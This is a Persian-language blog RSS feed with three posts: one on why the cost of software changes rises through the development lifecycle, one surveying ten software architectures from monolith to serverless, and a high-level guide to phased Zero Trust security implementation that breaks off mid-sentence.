<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های Loop Lunatic</title><link>https://virgool.ir/feed/@LoopLunatic</link><description>از طریق این وبلاگ، قصد دارم دانش و بینش خود را در مورد دنیای کامپیوتر و توسعه نرم افزار با شما به اشتراک بگذارم.</description><language>fa</language><pubDate>2026-11-10 15:03:28</pubDate><image><url>https://files.virgool.ir/upload/users/65294/avatar/0PlfVX.png</url><title>Loop Lunatic</title><link>https://virgool.ir/@LoopLunatic</link></image><item><title>پیمایش هزینه‌های توسعه نرم‌افزار: درک تأثیر تغییرات</title><link>https://virgool.ir/@LoopLunatic/پیمایش-هزینه-های-توسعه-نرم-افزار-درک-تأثیر-تغییرات-pp05khdtzxpu</link><description>توسعه نرم‌افزار یک فرآیند پویا و تکراری است که با تکامل و سازگاری مداوم مشخص می‌شود. همان‌طور که توسعه‌دهندگان در مراحل مختلف طراحی و توسعه کار می‌کنند، با چالش‌هایی مواجه می‌شوند، تصمیم می‌گیرند و تغییراتی را برای برآوردن نیازهای در حال تحول و رفع پیچیدگی‌های پیش‌بینی‌نشده اعمال می‌کنند. بااین‌حال، هزینه ایجاد تغییرات در بخش‌های مختلف چرخه عمر توسعه نرم‌افزار یکسان نیست. در این مقاله، تأثیر تغییرات بر هزینه توسعه نرم‌افزار، چرایی افزایش تصاعدی این هزینه با پیشرفت هر مرحله و استراتژی‌هایی برای کاهش این هزینه‌ها را بررسی خواهیم کرد.درک هزینه تغییرات در توسعه نرم‌افزارهزینه ایجاد تغییرات در توسعه نرم‌افزار را می‌توان در سه حوزه اصلی طبقه‌بندی کرد: الزامات، طراحی و پیاده‌سازی.1. تغییرات نیازمندی‌ها: تغییرات نیازمندی‌ها شامل تغییراتی در نیازمندی‌های کاربردی و غیر عملکردی نرم‌افزار مانند افزودن ویژگی‌های جدید، اصلاح ویژگی‌های موجود یا تغییر محدوده پروژه است. این تغییرات می‌تواند تأثیر قابل‌توجهی بر هزینه کلی توسعه داشته باشد، زیرا ممکن است نیاز به تعدیل در جدول زمانی پروژه، تخصیص منابع و اولویت‌های توسعه داشته باشد.2. تغییرات طراحی: تغییرات طراحی شامل تغییراتی در معماری، ساختار و رابط کاربری نرم‌افزار می‌شود. این تغییرات ممکن است به دلیل نیازهای کاربر در حال تکامل، پیشرفت‌های تکنولوژیکی یا نقص‌های طراحی کشف شده در طول توسعه ایجاد شوند. تغییرات طراحی می‌تواند پرهزینه باشد، زیرا اغلب نیاز به بازنگری و بازسازی پایه کد دارد که ممکن است بر پایداری، قابلیت نگهداری و مقیاس‌پذیری نرم‌افزار تأثیر بگذارد.3. تغییرات پیاده‌سازی: تغییرات پیاده‌سازی شامل تغییراتی در پایگاه کد، مانند رفع اشکالات، بهینه‌سازی عملکرد، یا بازسازی کد برای خوانایی و نگهداری است. این تغییرات معمولاً زمان‌برترین و پرزحمت‌ترین هستند، زیرا به توسعه‌دهندگان نیاز دارند تا کدهای موجود را درک و اصلاح کنند و در عین حال اطمینان حاصل کنند که تغییرات باگ یا رگرسیون جدیدی ایجاد نمی‌کنند.هزینه تصاعدی تغییراتهزینه ایجاد تغییرات در توسعه نرم‌افزار با پیشرفت هر مرحله از چرخه عمر توسعه به‌طور تصاعدی افزایش می‌یابد. دلایل متعددی وجود دارد که چرا این اتفاق می‌افتد:1. وابستگی‌ها و وابستگی‌های متقابل: با پیشرفت توسعه نرم‌افزار، وابستگی‌ها و وابستگی‌های متقابل بین اجزای مختلف سیستم پیچیده‌تر می‌شود. ایجاد تغییرات در یک قسمت از سیستم ممکن است نیاز به تغییرات متناظر در قسمت‌های دیگر داشته باشد که منجر به یک اثر آبشاری می‌شود که هزینه کلی تغییرات را افزایش می‌دهد.2. تقویت کد: با گذشت زمان، کد جاافتاده و درهم‌تنیده می‌شود و جداسازی و اصلاح اجزای جداگانه بدون تأثیرگذاری بر سایر قسمت‌های سیستم به‌طور فزاینده‌ای دشوار می‌شود. این پدیده که به‌عنوان ریشه سازی کد شناخته می‌شود، اجرای تغییرات بدون ایجاد عوارض جانبی ناخواسته یا شکستن عملکرد موجود را چالش‌برانگیز می‌کند.3. سربار یکپارچه‌سازی و آزمایش: با انباشته شدن تغییرات در طول چرخه عمر توسعه، هزینه‌های سربار مرتبط با ادغام و آزمایش به‌طور تصاعدی افزایش می‌یابد. هر تغییری پتانسیل تضادها، رگرسیون‌ها و مسائل سازگاری را معرفی می‌کند که باید از طریق آزمایش و اعتبارسنجی کامل مورد توجه قرار گیرد. این نیاز به زمان، منابع و هماهنگی بیشتری دارد که هزینه تغییرات را بیشتر می‌کند.4. ریسک و عدم اطمینان: با پیشرفت توسعه نرم‌افزار، سطح ریسک و عدم اطمینان مرتبط با ایجاد تغییرات نیز افزایش می‌یابد. توسعه‌دهندگان باید چشم‌انداز پیچیده‌ای از وابستگی‌ها، معاوضه‌ها و محدودیت‌ها را دنبال کنند و پیش‌بینی دقیق تأثیر تغییرات را چالش‌برانگیز کند. این عدم قطعیت درجه‌ای از خطر را معرفی می‌کند که باید از طریق برنامه‌ریزی دقیق، تجزیه‌وتحلیل و آزمایش کاهش یابد و به هزینه کلی تغییرات اضافه شود.کاهش هزینه تغییراتدرحالی‌که هزینه تغییرات در توسعه نرم‌افزار اجتناب‌ناپذیر است، استراتژی‌های متعددی وجود دارد که سازمان‌ها می‌توانند برای کاهش این هزینه‌ها به‌کارگیرند:1. بازخورد زودهنگام و مستمر: با درخواست بازخورد زودهنگام و اغلب از ذینفعان، توسعه‌دهندگان می‌توانند مسائل بالقوه را شناسایی کرده و قبل از تبدیل‌شدن به مشکلات پرهزینه به آن‌ها رسیدگی کنند. بازخورد اولیه کمک می‌کند تا اطمینان حاصل شود که الزامات به‌وضوح تعریف‌شده‌اند، تصمیمات طراحی به‌خوبی آگاه شده‌اند و تلاش‌های پیاده‌سازی بر ارائه ارزش به کاربر نهایی متمرکز است.2. طراحی ماژولار و جداشده: اتخاذ رویکرد طراحی ماژولار و جداشده می‌تواند با جداسازی اجزا و به حداقل رساندن وابستگی بین آن‌ها به کاهش تأثیر تغییرات کمک کند. طراحی ماژولار به توسعه‌دهندگان این امکان را می‌دهد تا بدون تأثیر بر کل سیستم، تغییراتی را در اجزای جداگانه ایجاد کنند، انعطاف‌پذیری، قابلیت نگهداری و مقیاس‌پذیری را بهبود بخشند.3. تست خودکار و یکپارچه‌سازی مداوم: اجرای آزمایش خودکار و شیوه‌های یکپارچه‌سازی مستمر می‌تواند روند شناسایی و حل مسائل ایجادشده توسط تغییرات را ساده کند. تست‌های خودکار به اعتبارسنجی درستی و پایداری پایگاه کد کمک می‌کنند، درحالی‌که یکپارچه‌سازی مداوم تضمین می‌کند که تغییرات به‌طور مکرر و پیوسته در پایگاه کد اصلی ادغام می‌شوند.4. توسعه تکراری و افزایشی: پذیرش رویکرد توسعه تکراری و افزایشی به توسعه‌دهندگان این امکان را می‌دهد تا پروژه‌های پیچیده را به وظایف کوچک‌تر و قابل مدیریت تقسیم کنند. با ارائه ارزش افزایشی به ذینفعان در فواصل زمانی منظم، توسعه‌دهندگان می‌توانند بازخورد جمع‌آوری کنند، مفروضات را تأیید کنند و در صورت نیاز مسیر را تنظیم کنند و ریسک و هزینه تغییرات را در طول زمان به حداقل برسانند.نتیجهدرنتیجه، هزینه ایجاد تغییرات در توسعه نرم‌افزار یک موضوع پیچیده و چندوجهی است که با پیشرفت هر مرحله از چرخه عمر توسعه به‌طور تصاعدی افزایش می‌یابد. با درک عواملی که در این افزایش نمایی در هزینه‌ها نقش دارند و اتخاذ استراتژی‌هایی برای کاهش این هزینه‌ها، سازمان‌ها می‌توانند کارایی، انعطاف‌پذیری و انعطاف‌پذیری فرآیندهای توسعه نرم‌افزار خود را بهبود بخشند. درنهایت، با پذیرش فرهنگ سازگاری، همکاری و بهبود مستمر، سازمان‌ها می‌توانند چالش‌های توسعه نرم‌افزار را به‌طور مؤثرتری پشت سر بگذارند و با اطمینان و موفقیت بیشتر ارزش را به مشتریان خود ارائه دهند.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Tue, 13 Oct 2026 12:41:11 +0330</pubDate></item><item><title>راهنمای کوتاه معماری‌های نرم‌افزار؛ از مونولیت تا سرورلس</title><link>https://virgool.ir/@LoopLunatic/راهنمای-کوتاه-معماری-های-نرم-افزار-از-مونولیت-تا-سرورلس-efsj5wxy7nmn</link><description>انتخاب معماری نرم‌افزار یکی از مهم‌ترین تصمیم‌هایی است که روی سرعت توسعه، کیفیت نگهداری، مقیاس‌پذیری، هزینه عملیاتی و حتی ساختار تیم اثر می‌گذارد. هیچ معماری‌ای همیشه بهترین گزینه نیست؛ هر کدام برای شرایط خاصی طراحی شده‌اند و مزایا و پیچیدگی‌های خودشان را دارند.در این مقاله، ده معماری رایج نرم‌افزار را به‌صورت کوتاه و کاربردی بررسی می‌کنیم.۱. معماری مونولیتیک؛ Monolithic Architectureدر معماری مونولیتیک، کل نرم‌افزار به‌عنوان یک واحد واحد ساخته، تست و منتشر می‌شود. معمولاً بخش‌هایی مثل رابط کاربری، منطق کسب‌وکار، دسترسی به داده و ارتباط با پایگاه داده در یک برنامه واحد قرار دارند.این معماری برای پروژه‌های کوچک، تیم‌های کوچک و محصولاتی با نیازمندی‌های ساده بسیار مناسب است. توسعه و استقرار آن ساده است و برای شروع یک محصول جدید، انتخابی سریع و کم‌هزینه محسوب می‌شود.مزیت اصلی مونولیت این است که همه‌چیز در یک جا قرار دارد و توسعه‌دهندگان راحت‌تر می‌توانند جریان کلی برنامه را درک کنند. اما با بزرگ شدن پروژه، تغییرات کوچک ممکن است روی کل سیستم اثر بگذارد و مقیاس‌پذیری بخش‌های مختلف به‌صورت مستقل دشوار شود.مناسب برای: برنامه‌های کوچک، MVPها، تیم‌های محدود و سیستم‌هایی با پیچیدگی کم. ۲. معماری لایه‌ای؛ Layered Architectureمعماری لایه‌ای یا N-Tier یکی از شناخته‌شده‌ترین الگوهای معماری است. در این مدل، سیستم به چند لایه تقسیم می‌شود؛ معمولاً لایه نمایش، لایه منطق کسب‌وکار، لایه دسترسی به داده و پایگاه داده.ایده اصلی این معماری جداسازی مسئولیت‌هاست. هر لایه وظیفه مشخصی دارد و لایه‌ها معمولاً از بالا به پایین با یکدیگر ارتباط برقرار می‌کنند. برای مثال، رابط کاربری مستقیماً با پایگاه داده صحبت نمی‌کند، بلکه درخواست‌ها از لایه‌های میانی عبور می‌کنند.این معماری برای برنامه‌های متوسط تا بزرگ مناسب است، به‌خصوص زمانی که خوانایی، تست‌پذیری و نگهداری اهمیت دارد. البته اگر قوانین ارتباط بین لایه‌ها رعایت نشود، سیستم به‌مرور به یک ساختار پیچیده و وابسته تبدیل می‌شود.مناسب برای: برنامه‌های سازمانی، سیستم‌های CRUD، نرم‌افزارهایی با نیاز به جداسازی واضح مسئولیت‌ها. ۳. معماری تمیز؛ Clean Architectureمعماری تمیز بر استقلال منطق کسب‌وکار از فریم‌ورک‌ها، دیتابیس و رابط کاربری تأکید دارد. در مرکز این معماری، موجودیت‌ها و قوانین اصلی کسب‌وکار قرار می‌گیرند و لایه‌های بیرونی مانند UI، دیتابیس و فریم‌ورک‌ها به آن وابسته‌اند، نه برعکس.اصل مهم در Clean Architecture، «قانون وابستگی» است؛ وابستگی‌ها باید به سمت داخل باشند. یعنی بخش‌های مرکزی سیستم نباید به جزئیات فنی بیرونی وابسته شوند.این معماری برای پروژه‌هایی مناسب است که عمر طولانی دارند و قرار است در آینده تغییرات زیادی را تجربه کنند. همچنین تست‌پذیری بسیار بالایی دارد، چون منطق اصلی برنامه مستقل از ابزارها و زیرساخت‌هاست.مناسب برای: سیستم‌های بلندمدت، پروژه‌های حساس، اپلیکیشن‌هایی با قوانین کسب‌وکار پیچیده.۴. معماری شش‌ضلعی؛ Hexagonal Architectureمعماری شش‌ضلعی که با نام Ports and Adapters هم شناخته می‌شود، تلاش می‌کند هسته اصلی برنامه را از دنیای بیرون جدا کند. در مرکز، منطق اصلی برنامه قرار دارد و ارتباط با ابزارهای خارجی مثل دیتابیس، API، رابط کاربری یا سرویس‌های دیگر از طریق پورت‌ها و آداپترها انجام می‌شود.برای مثال، برنامه به‌جای اینکه مستقیماً به یک دیتابیس خاص وابسته باشد، از یک پورت استفاده می‌کند. سپس یک آداپتر مشخص، ارتباط با دیتابیس واقعی را پیاده‌سازی می‌کند.مزیت این مدل، انعطاف‌پذیری بالا و امکان تعویض راحت فناوری‌هاست. می‌توان دیتابیس، رابط کاربری یا سرویس خارجی را تغییر داد، بدون اینکه هسته اصلی برنامه آسیب ببیند.مناسب برای: سیستم‌هایی که نیاز به استقلال از فریم‌ورک، دیتابیس یا سرویس‌های خارجی دارند. ۵. معماری برش عمودی؛ Vertical Slice Architectureدر معماری Vertical Slice، سیستم به‌جای تقسیم شدن بر اساس لایه‌ها، بر اساس قابلیت‌ها یا فیچرها تقسیم می‌شود. هر فیچر تقریباً همه چیز موردنیاز خودش را دارد؛ از رابط کاربری و منطق کسب‌وکار گرفته تا دسترسی به داده.برای مثال، قابلیت «ثبت سفارش» می‌تواند کدهای مربوط به UI، اعتبارسنجی، منطق سفارش و ذخیره‌سازی خودش را در یک بخش مستقل داشته باشد. در نتیجه تیم‌ها می‌توانند روی فیچرهای جداگانه کار کنند و وابستگی بین بخش‌ها کاهش پیدا می‌کند.این معماری برای تیم‌هایی مناسب است که توسعه فیچر محور دارند و می‌خواهند سرعت تحویل محصول را افزایش دهند. البته برای موفقیت در این مدل، باید مرز فیچرها درست تعریف شود.مناسب برای: محصولاتی با توسعه سریع، تیم‌های فیچر محور، سیستم‌هایی که قابلیت‌های مستقل زیادی دارند. ۶. معماری CQRSCQRS مخفف Command Query Responsibility Segregation است. در این معماری، عملیات نوشتن داده و خواندن داده از هم جدا می‌شوند. یعنی مدلی که برای ثبت یا تغییر اطلاعات استفاده می‌شود، الزاماً همان مدلی نیست که برای خواندن و نمایش اطلاعات استفاده می‌شود.برای مثال، در یک فروشگاه آنلاین، ثبت سفارش می‌تواند از مسیر Command انجام شود، اما نمایش تاریخچه سفارش‌ها از مسیر Query. این جداسازی باعث می‌شود هر بخش جداگانه بهینه‌سازی شود.CQRS زمانی مفید است که سیستم نیازهای پیچیده خواندن و نوشتن دارد یا باید در مقیاس بالا کار کند. البته پیاده‌سازی آن نسبت به معماری‌های ساده‌تر پیچیده‌تر است و برای پروژه‌های کوچک معمولاً انتخاب مناسبی نیست.مناسب برای: سیستم‌های مقیاس‌پذیر، برنامه‌هایی با مدل‌های خواندن و نوشتن پیچیده، دامنه‌های تجاری بزرگ.۷. معماری رویدادمحور؛ Event-Driven Architectureدر معماری رویدادمحور، بخش‌های مختلف سیستم از طریق رویدادها با هم ارتباط برقرار می‌کنند. یک بخش رویدادی را تولید می‌کند و بخش‌های دیگر آن را دریافت و پردازش می‌کنند.برای مثال، وقتی کاربر سفارشی ثبت می‌کند، رویداد OrderCreated منتشر می‌شود. سپس سرویس پرداخت، سرویس ارسال ایمیل و سرویس انبار می‌توانند به این رویداد واکنش نشان دهند، بدون اینکه مستقیماً به بخش سفارش وابسته باشند.این معماری برای سیستم‌های بلادرنگ، پردازش‌های ناهمزمان و اپلیکیشن‌های بسیار جداشده مناسب است. مزیت اصلی آن کاهش وابستگی و افزایش مقیاس‌پذیری است. اما ردیابی خطاها، ترتیب رویدادها و سازگاری داده‌ها می‌تواند چالش‌برانگیز باشد.مناسب برای: سیستم‌های real-time، پردازش‌های async، اپلیکیشن‌های توزیع‌شده و مقیاس‌پذیر. ۸. مونولیت ماژولار؛ Modular Monolithمونولیت ماژولار ترکیبی هوشمندانه از سادگی مونولیت و نظم معماری ماژولار است. در این مدل، برنامه همچنان به‌صورت یک واحد منتشر می‌شود، اما از داخل به ماژول‌های مستقل و مشخص تقسیم شده است.هر ماژول مسئولیت خاص خودش را دارد و مرزهای آن واضح است. برای مثال، ماژول کاربران، سفارش‌ها، پرداخت و گزارش‌گیری می‌توانند در یک برنامه واحد وجود داشته باشند، اما ارتباط بین آن‌ها کنترل‌شده و محدود باشد.این معماری برای پروژه‌های بزرگ‌تری مناسب است که هنوز آماده ورود به دنیای میکروسرویس‌ها نیستند. هزینه عملیاتی آن کمتر از میکروسرویس است و می‌تواند یک مرحله میانی خوب برای مهاجرت آینده به معماری توزیع‌شده باشد.مناسب برای: برنامه‌های بزرگ، تیم‌هایی که هنوز به میکروسرویس نیاز قطعی ندارند، سیستم‌هایی با نیاز به مرزبندی داخلی واضح.۹. معماری میکروسرویس؛ Microservices Architectureدر معماری میکروسرویس، سیستم به مجموعه‌ای از سرویس‌های کوچک و مستقل تقسیم می‌شود. هر سرویس مسئول بخشی از قابلیت‌های سیستم است و می‌تواند به‌صورت مستقل توسعه، تست، استقرار و مقیاس‌دهی شود.برای مثال، در یک پلتفرم فروشگاهی، سرویس کاربران، سرویس سفارش، سرویس پرداخت، سرویس انبار و سرویس ارسال می‌توانند جداگانه پیاده‌سازی شوند. این سرویس‌ها معمولاً از طریق API یا پیام‌رسان‌ها با هم ارتباط دارند.مزیت اصلی میکروسرویس‌ها استقلال تیم‌ها، مقیاس‌پذیری بالا، انعطاف در انتخاب فناوری و تحمل خطای بهتر است. اما این معماری پیچیدگی عملیاتی زیادی دارد؛ مانیتورینگ، شبکه، امنیت، نسخه‌بندی API، مدیریت داده و دیپلوی همگی دشوارتر می‌شوند.مناسب برای: سیستم‌های بزرگ و پیچیده، سازمان‌هایی با چند تیم مستقل، محصولاتی با نیاز جدی به مقیاس‌پذیری. ۱۰. معماری سرورلس؛ Serverless Architectureدر معماری سرورلس، توسعه‌دهنده کمتر درگیر مدیریت سرورها می‌شود و اجرای کد به زیرساخت ابری سپرده می‌شود. معمولاً کدها در قالب Function as a Service اجرا می‌شوند؛ مثل تابعی که با یک درخواست HTTP، یک رویداد صف، آپلود فایل یا زمان‌بندی مشخص اجرا می‌شود.در این مدل، منابع به‌صورت خودکار مقیاس می‌گیرند و معمولاً هزینه بر اساس میزان استفاده محاسبه می‌شود. بنابراین برای بارهای کاری متغیر یا غیرقابل‌پیش‌بینی گزینه جذابی است.سرورلس برای پردازش رویدادها، APIهای سبک، پردازش فایل، اتوماسیون و وظایف زمان‌بندی‌شده بسیار مناسب است. با این حال، محدودیت زمان اجرا، وابستگی به ارائه‌دهنده ابری و دشواری دیباگ از چالش‌های آن است.مناسب برای: پردازش‌های رویدادمحور، ترافیک متغیر، APIهای سبک، وظایف کوتاه‌مدت و مقیاس‌پذیر.جمع‌بندیانتخاب معماری نرم‌افزار باید بر اساس اندازه پروژه، مهارت تیم، نیازهای مقیاس‌پذیری، بودجه عملیاتی، پیچیدگی دامنه و سرعت موردنیاز برای توسعه انجام شود.برای شروع یک محصول کوچک، معماری مونولیتیک یا لایه‌ای معمولاً ساده‌تر و منطقی‌تر است. برای پروژه‌های بلندمدت با منطق کسب‌وکار مهم، Clean Architecture یا Hexagonal انتخاب‌های قدرتمندی هستند. اگر تیم‌ها بر اساس فیچر کار می‌کنند، Vertical Slice می‌تواند سرعت توسعه را بالا ببرد. برای سیستم‌های بزرگ، مقیاس‌پذیر و توزیع‌شده، CQRS، معماری رویدادمحور و میکروسرویس‌ها گزینه‌های جدی‌تری هستند. سرورلس هم برای سناریوهایی که ترافیک متغیر، رویدادمحوری و کاهش مدیریت زیرساخت اهمیت دارد، انتخاب جذابی است.در نهایت، معماری خوب الزاماً پیچیده‌ترین معماری نیست؛ معماری خوب، معماری‌ای است که با نیاز واقعی محصول، توان تیم و مسیر رشد سیستم هماهنگ باشد.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Tue, 07 Jul 2026 08:41:38 +0330</pubDate></item><item><title>راهنمای عملی پیاده‌سازی «زیرو تراست» در سازمان‌ها: از شعار تا نقشه‌راه اجرایی‬</title><link>https://virgool.ir/@LoopLunatic/راهنمای-عملی-پیاده-سازی-زیرو-تراست-در-سازمان-ها-از-شعار-تا-نقشه-راه-اجرایی‬-mipdmt6iqhmr</link><description>چرا زیرو تراست این‌قدر جدی شد؟‬‫سال‌ها معماری امنیت شبکه بر پایه‌ی یک تصور ساده بنا شده بود: «داخل شبکه امن‌تر است، بیرون شبکه خطرناک‌تر.» نتیجه‌اش هم شد دیوار آتش، تفکیک محیط داخلی و خارجی، و اتکا به مرز شبکه به‌عنوان نقطه‌ی اصلی دفاع. اما دنیای امروز دیگر مثل گذشته نیست؛ سرویس‌های ابری، دورکاری، موبایل، SaaS، زنجیره تأمین نرم‌افزار، و مهاجمانی که از طریق فیشینگ یا سرقت دسترسی وارد می‌شوند، همه باعث شده‌اند «مرز» معنای قدیمی‌اش را از دست بدهد.‬‫در چنین وضعیتی، زیرو تراست (Zero Trust) به‌جای اینکه امنیت را به «مکان» و «مرز» گره بزند، به «هویت، وضعیت، و اثبات مداوم» گره می‌زند. یعنی حتی اگر چیزی داخل شبکه شما باشد، قرار نیست ذاتاً قابل اعتماد باشد. این نگاه، از یک شعار شروع می‌شود اما برای موفقیت نیاز به نقشه‌راه، اولویت‌بندی، و اجرای مرحله‌ای دارد—دقیقاً همان جایی که راهنماهای پیاده‌سازی زیرو تراست به کار می‌آیند.‬‫ زیرو تراست به زبان ساده: «هر درخواست باید دوباره ثابت کند حق دسترسی دارد»‬‫زیرو تراست معمولاً با دو اصل کلیدی شناخته می‌شود:‬‫ هرگز اعتماد نکن، همیشه راستی‌آزمایی کن (Never trust, always verify)‬ نفوذ را فرض بگیر (Assume breach)‬‫اصل اول یعنی احراز هویت و مجوزدهی باید «دائمی» و «پویا» باشد، نه یک‌بار برای همیشه. اصل دوم یعنی طراحی دفاعی شما باید طوری باشد که اگر مهاجم وارد شد، نتواند راحت در شبکه حرکت کند، دسترسی‌ها را گسترش دهد، و به داده‌های حیاتی برسد. در عمل، این دو اصل یعنی تمرکز روی چند محور: هویت‌ها (انسانی و غیرانسانی)، دستگاه‌ها، داده‌ها، برنامه‌ها، شبکه/ارتباطات، و مشاهده‌پذیری (Logging/Monitoring) برای تصمیم‌گیری.‬‫مشکل اصلی: زیرو تراست «یک محصول» نیست، «یک سفر» است‬‫یکی از اشتباهات رایج این است که سازمان‌ها زیرو تراست را مثل خرید یک ابزار امنیتی می‌بینند: «فلان محصول را می‌خریم، تمام می‌شود.» اما واقعیت این است که زیرو تراست یک مدل عملیاتی است که باید در فرایندها، سیاست‌ها، معماری، و حتی فرهنگ سازمانی جا بیفتد. به همین دلیل، راهنماهای خوب تأکید می‌کنند که نسخه‌ی واحد و یکسان برای همه وجود ندارد؛ هر سازمان باید با توجه به وضعیت فعلی، شکاف‌ها، اولویت‌ها، و محدودیت‌هایش مسیر پیاده‌سازی را انتخاب کند.‬‫این دقیقاً همان نقطه‌ای است که رویکردهایی مثل ZIG (راهنماهای پیاده‌سازی زیرو تراست) ارزش پیدا می‌کنند: به جای اینکه فقط بگویند «باید زیرو تراست باشید»، کمک می‌کنند آن را به مجموعه‌ای از «قابلیت‌ها» و «فعالیت‌های قابل انجام» تبدیل کنید.‬‫ZIG یعنی چه و چه کمکی می‌کند؟‬‫ZIG را می‌توان این‌طور خلاصه کرد: یک بسته‌ی راهنمای اجرایی که زیرو تراست را به شکل فعالیت‌های مشخص، خروجی‌های مورد انتظار و مسیر مرحله‌ای ارائه می‌دهد؛ بدون اینکه وابسته به یک فروشنده (Vendor) یا محصول خاص باشد.‬‫ایده‌ی مرکزی این است:‬‫1) زیرو تراست از «ستون‌ها» تشکیل می‌شود (مثل هویت، دستگاه، شبکه، داده، برنامه/بارکاری و …).‬‫2) هر ستون چند «قابلیت» (Capability) دارد. قابلیت یعنی چیزی که باید در سازمان به‌عنوان توانمندی امنیتی ایجاد شود.‬‫3) هر قابلیت با چند «فعالیت» (Activity) قابل تحقق است. فعالیت یعنی کار مشخصی که می‌شود آن را برنامه‌ریزی، اجرا، و خروجی‌اش را سنجید.‬‫این ساختار باعث می‌شود زیرو تراست از حالت مفهومی خارج شود و به زبان برنامه‌ریزی پروژه تبدیل گردد: «چه کاری؟ توسط چه تیمی؟ با چه پیش‌نیازهایی؟ خروجی چیست؟»‬‫چرا رویکرد مرحله‌ای مهم است؟ چون ۱۵۰+ فعالیت را نمی‌شود یکجا اجرا کرد‬‫پیاده‌سازی زیرو تراست معمولاً شامل تعداد زیادی فعالیت است؛ اگر یک‌باره وارد اجرا شوید، یا هزینه می‌ترکد، یا پروژه نیمه‌کاره می‌ماند، یا تیم‌ها خسته می‌شوند و همه چیز به چند تنظیم سطحی محدود می‌شود. به همین خاطر رویکرد مرحله‌ای (Phased) طراحی شده تا کارها قابل مدیریت شوند.‬‫یک مدل رایج، فعالیت‌ها را در چند فاز مرتب می‌کند:‬‫- Discovery (کشف و شناخت وضع موجود)‬‫- Phase One (ساخت پایه‌های امن و کنترل‌های بنیادین)‬‫- Phase Two (یکپارچه‌سازی کنترل‌ها و اعمال سیاست‌های زیرو تراست در سطح گسترده‌تر)‬‫و سپس فازهای پیشرفته‌تر (Advanced) که بسته به سازمان می‌تواند بعداً توسعه یابد.‬‫در این مدل، سه فاز اول معمولاً شما را به سطح «هدف» یا Target-level می‌رساند؛ یعنی جایی که یک زیرو تراست عملی و قابل اتکا دارید، حتی اگر هنوز در سطح پیشرفته‌ترین پیاده‌سازی‌ها نباشید.‬‫فاز Discovery: اگر دارایی‌ها و جریان‌ها را نشناسی، زیرو تراست را کورکورانه اجرا می‌کنی‬‫Discovery شاید جذاب‌ترین بخش نباشد، اما حیاتی‌ترین بخش است. زیرو تراست بدون شناخت دقیق از «چه چیزی داریم؟ چه کسی استفاده می‌کند؟ کجا ذخیره شده؟ چه ارتباطی با چه چیزی دارد؟» عملاً تبدیل می‌شود به حدس و گمان.‬‫در Discovery معمولاً روی این خروجی‌ها تمرکز می‌شود:‬‫- فهرست‌برداری از دارایی‌ها: سرورها، ایستگاه‌ها، موبایل‌ها، سرویس‌ها، اکانت‌ها، کلیدها، گواهی‌ها و…‬‫- نقشه‌ی هویت‌ها: کاربران انسانی، سرویس‌اکانت‌ها، ماشین‌ها، APIها و هویت‌های غیرانسانی‬‫- شناخت برنامه‌ها و وابستگی‌ها: کدام برنامه به کدام دیتابیس یا سرویس متصل است؟ از کجا احراز هویت می‌شود؟‬‫- طبقه‌بندی داده: داده‌های حساس کجاست؟ چه کسی به آن دسترسی دارد؟‬‫- مشاهده‌پذیری پایه: لاگ‌ها، تله‌متری، و نقاط کور (Blind Spots) کجا هستند؟‬‫اگر Discovery را خوب انجام دهید، در فازهای بعدی تصمیم‌ها دقیق‌تر می‌شوند: می‌دانید اولویت با کدام سیستم‌ها و کدام جریان‌های حیاتی است.‬‫فاز یک: ساخت «پایه‌ی امن» قبل از اینکه سراغ سیاست‌های پیچیده برویم‬‫در فاز یک معمولاً هدف این است که کنترل‌های پایه‌ای زیرو تراست را برقرار کنید؛ چیزی شبیه ساخت فونداسیون. اینجا اغلب تمرکز روی «هویت» و «دستگاه» بسیار پررنگ است، چون بسیاری از نفوذها از همین‌جا شروع می‌شوند: سرقت اعتبارنامه، دستگاه آلوده، یا دسترسی بیش‌ازحد.‬‫نمونه‌هایی از اقدامات رایج در فاز یک:‬‫- تقویت احراز هویت: MFA برای دسترسی‌های حساس، حذف استثناهای خطرناک، کاهش اتکا به پسورد‬‫- حداقل‌سازی دسترسی‌ها (Least Privilege): نقش‌ها، گروه‌ها، دسترسی‌های ادمین، و سیاست‌های موقت‌سازی دسترسی‬‫- حالت/سلامت دستگاه (Device Posture): اینکه دستگاه وصله است؟ رمزگذاری دیسک دارد؟ EDR فعال است؟‬‫- بهبود لاگ و مانیتورینگ: یکپارچه‌سازی لاگ‌ها، ثبت رخدادهای مهم، و ایجاد حداقل توان تشخیص‬‫- سخت‌سازی پایه: تنظیمات امنیتی استاندارد، بستن سرویس‌های غیرضروری، و مدیریت پیکربندی‬‫فاز یک قرار نیست همه چیز را کامل کند؛ قرار است «حداقل‌های لازم» را ایجاد کند تا اجرای سیاست‌های زیرو تراست در فاز دو قابل اتکا باشد.‬‫فاز دو: یکپارچه‌سازی و اعمال زیرو تراست در مقیاس واقعی‬‫در فاز دو، سازمان از مرحله‌ی «پایه‌سازی» عبور می‌کند و به سمت «یکپارچه‌سازی کنترل‌ها» می‌رود. اینجا زیرو تراست بیشتر خودش را نشان می‌دهد: تصمیم‌گیری‌های دسترسی بر اساس ترکیبی از هویت، دستگاه، زمینه (Context)، حساسیت داده، و ریسک.‬‫در فاز دو معمولاً این اتفاق‌ها پررنگ‌تر می‌شود:‬‫- سیاست‌های دسترسی پویا (Conditional Access): مثلاً اگر دستگاه سالم نیست یا کاربر ریسک بالا دارد، دسترسی محدود یا قطع شود.‬‫- قطعه‌بندی (Segmentation) و کنترل جریان‌ها: کاهش امکان حرکت جانبی مهاجم (Lateral Movement)‬‫- کنترل دسترسی به برنامه‌ها و داده‌ها: با سیاست‌های دقیق‌تر و نزدیک‌تر به سطح سرویس و داده‬‫- همگرایی مشاهده‌پذیری: تبدیل لاگ‌ها به هشدارهای قابل اقدام، و ایجاد بازخورد برای سیاست‌ها‬‫- استانداردسازی فرایندها: مدیریت تغییر، مدیریت هویت‌ها، چرخه عمر دسترسی‌ها، و پاسخ به رخدادها‬‫در این فاز، خروجی‌ها ملموس‌تر است: کاربران کمتر دسترسی اضافه دارند، دستگاه‌های ناسالم محدود می‌شوند، و نفوذها سریع‌تر شناسایی و مهار می‌شوند.‬‫«ستون‌ها → قابلیت‌ها → فعالیت‌ها»: چطور از این ساختار برای برنامه‌ریزی پروژه استفاده کنیم؟‬‫اگر بخواهیم این ساختار را در یک برنامه عملی تبدیل کنیم، می‌توانید این روش را به کار ببرید:‬‫1) ستون‌های اولویت‌دار را انتخاب کنید: مثلاً «هویت + 